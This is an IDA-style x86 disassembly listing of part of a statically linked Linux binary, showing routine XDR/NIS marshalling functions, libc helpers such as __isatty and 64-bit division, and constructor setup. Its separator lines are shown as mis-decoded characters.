栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80665DC proc near ; CODE XREF: sub_80666A0+29p ; DATA XREF: sub_805D638+B6o ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_806661C lea eax, [ebx+0Ch] push eax push esi call sub_80664E4 add esp, 8 test eax, eax jz short loc_806661C lea eax, [ebx+4] push eax push esi call sub_80664E4 test eax, eax jz short loc_806661C mov eax, 1 jmp short loc_806661E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806661C: ; CODE XREF: sub_80665DC+17j ; sub_80665DC+28j ... xor eax, eax loc_806661E: ; CODE XREF: sub_80665DC+3Dj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80665DC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [0000003B BYTES: COLLAPSED FUNCTION xdr_ypresp_order. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8066664 proc near ; DATA XREF: .text:0805DBDDo ; .text:0805DC05o var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8066694 lea eax, [ebx+4] push eax push esi call sub_8064F10 test eax, eax jz short loc_8066694 mov eax, 1 jmp short loc_8066696 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066694: ; CODE XREF: sub_8066664+17j ; sub_8066664+25j xor eax, eax loc_8066696: ; CODE XREF: sub_8066664+2Cj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066664 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80666A0 proc near ; CODE XREF: sub_80668AC+24p ; DATA XREF: sub_80668AC+34o ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8065098 add esp, 8 test eax, eax jz short loc_80666D2 mov eax, [ebx] test eax, eax jz short loc_80666D8 cmp eax, 1 jnz short loc_80666D2 lea eax, [ebx+4] push eax push esi call sub_80665DC test eax, eax jnz short loc_80666D8 loc_80666D2: ; CODE XREF: sub_80666A0+17j ; sub_80666A0+22j xor eax, eax jmp short loc_80666DD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80666D8: ; CODE XREF: sub_80666A0+1Dj ; sub_80666A0+30j mov eax, 1 loc_80666DD: ; CODE XREF: sub_80666A0+34j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80666A0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80666E8 proc near ; CODE XREF: sub_8066710+Dp arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] lea eax, [ebp+arg_4] push eax push edx call xdr_mapname test eax, eax jz short loc_8066708 mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066708: ; CODE XREF: sub_80666E8+12j xor eax, eax mov esp, ebp pop ebp retn sub_80666E8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8066710 proc near ; DATA XREF: sub_8066710+19o ; sub_8066754+19o var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_80666E8 add esp, 8 test eax, eax jz short loc_8066748 push offset sub_8066710 push 48h lea eax, [ebx+44h] push eax push esi call sub_8067248 test eax, eax jz short loc_8066748 mov eax, 1 jmp short loc_806674A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066748: ; CODE XREF: sub_8066710+17j ; sub_8066710+2Cj xor eax, eax loc_806674A: ; CODE XREF: sub_8066710+33j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066710 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8066754 proc near ; DATA XREF: .text:0805DE15o var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_806678C push offset sub_8066710 push 48h lea eax, [ebx+4] push eax push esi call sub_8067248 test eax, eax jz short loc_806678C mov eax, 1 jmp short loc_806678E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806678C: ; CODE XREF: sub_8066754+17j ; sub_8066754+2Cj xor eax, eax loc_806678E: ; CODE XREF: sub_8066754+33j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066754 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000026 BYTES: COLLAPSED FUNCTION xdr_ypstat. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80667C0 proc near ; CODE XREF: sub_8066800+39p ; .text:08066879p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push 4 push ebx push esi call sub_8065120 add esp, 0Ch test eax, eax jz short loc_80667F4 push 2 lea eax, [ebx+4] push eax push esi call sub_8065120 test eax, eax jz short loc_80667F4 mov eax, 1 jmp short loc_80667F6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80667F4: ; CODE XREF: sub_80667C0+19j ; sub_80667C0+29j xor eax, eax loc_80667F6: ; CODE XREF: sub_80667C0+30j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80667C0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8066800 proc near ; DATA XREF: sub_805CE84+27Fo var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call xdr_ypstat add esp, 8 test eax, eax jz short loc_8066842 mov eax, [ebx] cmp eax, 1 jz short loc_8066834 cmp eax, 2 jnz short loc_8066842 lea eax, [ebx+4] push eax push esi call sub_8064F10 jmp short loc_806683E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066834: ; CODE XREF: sub_8066800+1Ej lea eax, [ebx+4] push eax push esi call sub_80667C0 loc_806683E: ; CODE XREF: sub_8066800+2Fj test eax, eax jnz short loc_8066848 loc_8066842: ; CODE XREF: sub_8066800+17j ; sub_8066800+23j xor eax, eax jmp short loc_806684D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066848: ; CODE XREF: sub_8066800+40j mov eax, 1 loc_806684D: ; CODE XREF: sub_8066800+44j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066800 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+8] mov ebx, [ebp+0Ch] push ebx push esi call xdr_domainname add esp, 8 test eax, eax jz short loc_80668A0 lea eax, [ebx+104h] push eax push esi call sub_80667C0 add esp, 8 test eax, eax jz short loc_80668A0 lea eax, [ebx+10Ch] push eax push esi call sub_8064FBC test eax, eax jz short loc_80668A0 mov eax, 1 jmp short loc_80668A2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80668A0: ; CODE XREF: .text:0806686Fj ; .text:08066883j ... xor eax, eax loc_80668A2: ; CODE XREF: .text:0806689Bj lea esp, [ebp-8] pop ebx pop esi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80668AC proc near ; DATA XREF: .text:0805DAFEo ; .text:0805DB20o var_2C = byte ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push edi push esi push ebx push 18h lea ebx, [ebp+var_18] push ebx call bzero add esp, 8 mov [ebp+var_20], ebx lea esi, [esi] loc_80668C8: ; CODE XREF: sub_80668AC+114j mov edx, [ebp+var_20] push edx mov ecx, [ebp+arg_0] push ecx call sub_80666A0 add esp, 8 test eax, eax jnz short loc_80668FC mov edx, [ebp+var_20] push edx push offset sub_80666A0 call xdr_free mov ecx, [ebp+arg_4] mov dword ptr [ecx], 0FFFFFFFAh xor eax, eax jmp loc_80669F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80668FC: ; CODE XREF: sub_80668AC+2Ej cmp [ebp+var_18], 0 jnz short loc_8066918 mov edx, [ebp+var_20] push edx push offset sub_80666A0 call xdr_free xor eax, eax jmp loc_80669F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066918: ; CODE XREF: sub_80668AC+54j mov ecx, [ebp+var_14] mov [ebp+var_1C], ecx cmp ecx, 1 jz short loc_8066934 cmp ecx, 2 jz loc_80669C8 jmp loc_80669D8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066934: ; CODE XREF: sub_80668AC+75j mov eax, [ebp+var_C] inc eax push eax call malloc mov edi, eax mov eax, [ebp+var_C] push eax push edi mov eax, [ebp+var_10] push eax call bcopy mov eax, [ebp+var_C] mov byte ptr [eax+edi], 0 mov eax, [ebp+var_4] inc eax push eax call malloc mov ebx, eax mov eax, [ebp+var_4] push eax push ebx mov eax, [ebp+var_8] push eax call bcopy mov eax, [ebp+var_4] mov byte ptr [eax+ebx], 0 add esp, 20h mov edx, [ebp+var_20] push edx push offset sub_80666A0 call xdr_free mov eax, ds:dword_807EB8C push eax mov eax, [ebp+var_4] push eax push ebx mov eax, [ebp+var_C] push eax push edi mov ecx, [ebp+var_1C] push ecx mov eax, ds:dword_807EB90 call eax mov esi, eax mov ecx, [ebp+var_1C] mov edx, [ebp+arg_4] mov [edx], ecx add esp, 20h push edi call free push ebx call free add esp, 8 test esi, esi jz loc_80668C8 jmp short loc_80669EE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80669C8: ; CODE XREF: sub_80668AC+7Aj mov edx, [ebp+var_20] push edx push offset sub_80666A0 call xdr_free jmp short loc_80669EE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80669D8: ; CODE XREF: sub_80668AC+80j mov ecx, [ebp+var_20] push ecx push offset sub_80666A0 call xdr_free mov ecx, [ebp+var_1C] mov edx, [ebp+arg_4] mov [edx], ecx loc_80669EE: ; CODE XREF: sub_80668AC+11Aj ; sub_80668AC+12Aj mov eax, 1 loc_80669F3: ; CODE XREF: sub_80668AC+49j ; sub_80668AC+66j lea esp, [ebp+var_2C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80668AC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [ebp+0Ch] push 4 push eax push edx call sub_8065120 test eax, eax jz short loc_8066A20 mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066A20: ; CODE XREF: .text:08066A14j xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [ebp+0Ch] push eax push edx call sub_806510C test eax, eax jz short loc_8066A48 mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066A48: ; CODE XREF: .text:08066A3Aj xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [000000CB BYTES: COLLAPSED FUNCTION bindresvport. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000000A6 BYTES: COLLAPSED FUNCTION _IO_file_doallocate. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000037 BYTES: COLLAPSED FUNCTION _nl_postload_ctype. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000441 BYTES: COLLAPSED FUNCTION _nl_load_locale. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000053 BYTES: COLLAPSED FUNCTION _nl_free_locale. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000000B6 BYTES: COLLAPSED FUNCTION authnone_create. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000002D BYTES: COLLAPSED FUNCTION sub_806714C. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000007 BYTES: COLLAPSED FUNCTION sub_806717C. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000000C BYTES: COLLAPSED FUNCTION sub_8067184. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION sub_8067190. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000007 BYTES: COLLAPSED FUNCTION sub_806719C. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000000A4 BYTES: COLLAPSED FUNCTION xdr_reference. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8067248 proc near ; CODE XREF: sub_8066710+25p ; sub_8066754+25p var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov edi, [ebp+arg_C] cmp dword ptr [ebx], 0 setnz al and eax, 0FFh mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push esi call sub_8065098 add esp, 8 test eax, eax jnz short loc_8067280 xor eax, eax jmp short loc_806729F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8067280: ; CODE XREF: sub_8067248+2Fj cmp [ebp+var_4], 0 jz short loc_8067294 push edi mov edx, [ebp+arg_8] push edx push ebx push esi call xdr_reference jmp short loc_806729F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8067294: ; CODE XREF: sub_8067248+3Cj mov dword ptr [ebx], 0 mov eax, 1 loc_806729F: ; CODE XREF: sub_8067248+33j ; sub_8067248+4Aj lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8067248 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000031 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80672E0 proc near ; CODE XREF: __isatty+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push eax push 5401h push edx call __libc_ioctl mov esp, ebp pop ebp retn sub_80672E0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 8 ; [00000044 BYTES: COLLAPSED FUNCTION stpcpy. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8067344 proc near ; CODE XREF: _itoa+6Bp _itoa+B3p ... var_30 = byte ptr -30h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [ebp+arg_8] mov [ebp+var_1C], eax mov edi, [ebp+arg_C] mov [ebp+var_4], ebx mov ebx, esi test edi, edi jnz short loc_80673A8 cmp eax, ebx jbe short loc_8067378 mov eax, [ebp+var_4] mov edx, ebx div [ebp+var_1C] mov edi, eax jmp loc_8067434 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8067378: ; CODE XREF: sub_8067344+23j cmp [ebp+var_1C], 0 jnz short loc_806738D mov edx, 1 mov eax, edx xor edx, edx div [ebp+var_1C] mov [ebp+var_1C], eax loc_806738D: ; CODE XREF: sub_8067344+38j mov eax, ebx xor edx, edx div [ebp+var_1C] mov ebx, edx mov esi, eax mov eax, [ebp+var_4] div [ebp+var_1C] mov edi, eax jmp loc_8067436 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80673A8: ; CODE XREF: sub_8067344+1Fj cmp edi, ebx jbe short loc_80673B4 loc_80673AC: ; CODE XREF: sub_8067344+87j xor edi, edi jmp loc_8067434 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80673B4: ; CODE XREF: sub_8067344+66j bsr edx, edi xor dl, 1Fh mov [ebp+var_24], edx test edx, edx jnz short loc_80673D4 cmp ebx, edi ja short loc_80673CD mov edx, [ebp+var_1C] cmp [ebp+var_4], edx jb short loc_80673AC loc_80673CD: ; CODE XREF: sub_8067344+7Fj mov edi, 1 jmp short loc_8067434 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80673D4: ; CODE XREF: sub_8067344+7Bj mov esi, 20h sub esi, [ebp+var_24] mov ecx, [ebp+var_24] shl edi, cl mov [ebp+var_8], edi mov eax, [ebp+var_1C] mov ecx, esi shr eax, cl or edi, eax mov ecx, [ebp+var_24] shl [ebp+var_1C], cl mov eax, ebx mov ecx, esi shr eax, cl mov [ebp+var_C], eax mov ecx, [ebp+var_24] shl ebx, cl mov [ebp+var_10], ebx mov eax, [ebp+var_4] mov ecx, esi shr eax, cl or ebx, eax mov ecx, [ebp+var_24] shl [ebp+var_4], cl mov eax, ebx mov edx, [ebp+var_C] div edi mov ebx, edx mov edi, eax mov eax, [ebp+var_1C] mul edi mov [ebp+var_24], edx mov esi, eax cmp edx, ebx ja short loc_8067433 jnz short loc_8067434 cmp [ebp+var_4], esi jnb short loc_8067434 loc_8067433: ; CODE XREF: sub_8067344+E6j dec edi loc_8067434: ; CODE XREF: sub_8067344+2Fj ; sub_8067344+6Aj ... xor esi, esi loc_8067436: ; CODE XREF: sub_8067344+5Cj mov [ebp+var_18], edi mov [ebp+var_14], esi mov eax, [ebp+var_18] mov edx, [ebp+var_14] lea esp, [ebp+var_30] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8067344 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_806744C proc near ; CODE XREF: _itoa+4Fp _itoa+97p ... var_34 = byte ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h push edi push esi push ebx mov edi, [ebp+arg_8] mov ebx, [ebp+arg_C] mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] mov [ebp+var_20], eax test ebx, ebx jnz short loc_80674A8 cmp edi, eax jbe short loc_8067478 mov eax, esi mov edx, [ebp+var_20] div edi jmp short loc_8067497 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8067478: ; CODE XREF: sub_806744C+1Ej test edi, edi jnz short loc_8067489 mov edx, 1 mov eax, edx xor edx, edx div edi mov edi, eax loc_8067489: ; CODE XREF: sub_806744C+2Ej mov eax, [ebp+var_20] xor edx, edx div edi mov [ebp+var_20], edx mov eax, esi div edi loc_8067497: ; CODE XREF: sub_806744C+27j mov esi, edx mov [ebp+var_10], esi mov [ebp+var_C], 0 jmp loc_806758C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80674A8: ; CODE XREF: sub_806744C+1Aj cmp [ebp+var_20], ebx jb short loc_80674CD bsr edx, ebx xor dl, 1Fh mov [ebp+var_14], edx test edx, edx jnz short loc_80674E8 cmp [ebp+var_20], ebx ja short loc_80674C3 cmp esi, edi jb short loc_80674CD loc_80674C3: ; CODE XREF: sub_806744C+71j mov edx, [ebp+var_20] sub esi, edi sbb edx, ebx mov [ebp+var_20], edx loc_80674CD: ; CODE XREF: sub_806744C+5Fj ; sub_806744C+75j mov [ebp+var_10], esi mov ecx, [ebp+var_20] mov [ebp+var_C], ecx mov eax, [ebp+var_10] mov [ebp+var_8], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax jmp loc_8067598 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80674E8: ; CODE XREF: sub_806744C+6Cj mov edx, 20h sub edx, [ebp+var_14] mov [ebp+var_18], edx mov ecx, [ebp+var_14] shl ebx, cl mov [ebp+var_28], ebx mov eax, edi mov ecx, edx shr eax, cl or ebx, eax mov ecx, [ebp+var_14] shl edi, cl mov eax, [ebp+var_20] mov ecx, edx shr eax, cl mov [ebp+var_1C], eax mov eax, [ebp+var_20] mov ecx, [ebp+var_14] shl eax, cl mov [ebp+var_28], eax mov eax, esi mov ecx, edx shr eax, cl mov edx, [ebp+var_28] or edx, eax mov [ebp+var_20], edx mov ecx, [ebp+var_14] shl esi, cl mov eax, [ebp+var_20] mov edx, [ebp+var_1C] div ebx mov [ebp+var_20], edx mov [ebp+var_28], eax mul edi mov [ebp+var_24], edx mov [ebp+var_28], eax mov ecx, [ebp+var_20] cmp edx, ecx ja short loc_8067553 jnz short loc_8067563 cmp eax, esi jbe short loc_8067563 loc_8067553: ; CODE XREF: sub_806744C+FFj mov eax, [ebp+var_24] mov edx, [ebp+var_28] sub edx, edi sbb eax, ebx mov [ebp+var_28], edx mov [ebp+var_24], eax loc_8067563: ; CODE XREF: sub_806744C+101j ; sub_806744C+105j mov ecx, [ebp+var_20] sub esi, [ebp+var_28] sbb ecx, [ebp+var_24] mov [ebp+var_20], ecx mov eax, [ebp+var_20] mov ecx, [ebp+var_18] shl eax, cl mov ecx, [ebp+var_14] shr esi, cl mov [ebp+var_24], esi or eax, esi mov [ebp+var_10], eax mov eax, [ebp+var_20] shr eax, cl mov [ebp+var_C], eax loc_806758C: ; CODE XREF: sub_806744C+57j mov edx, [ebp+var_10] mov [ebp+var_8], edx mov edx, [ebp+var_C] mov [ebp+var_4], edx loc_8067598: ; CODE XREF: sub_806744C+96j mov eax, [ebp+var_8] mov edx, [ebp+var_4] lea esp, [ebp+var_34] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_806744C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 call_ctors proc near ; CODE XREF: atentry_procp push ebx mov ebx, offset ctors_addr cmp ds:ctors_addr, 0FFFFFFFFh jz short loc_80675C4 nop loc_80675B8: ; CODE XREF: call_ctors+1Aj mov eax, [ebx] call eax add ebx, 0FFFFFFFCh cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_80675B8 loc_80675C4: ; CODE XREF: call_ctors+Dj pop ebx retn call_ctors endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 _text ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure data ; Segment permissions: Read __libc_subinit 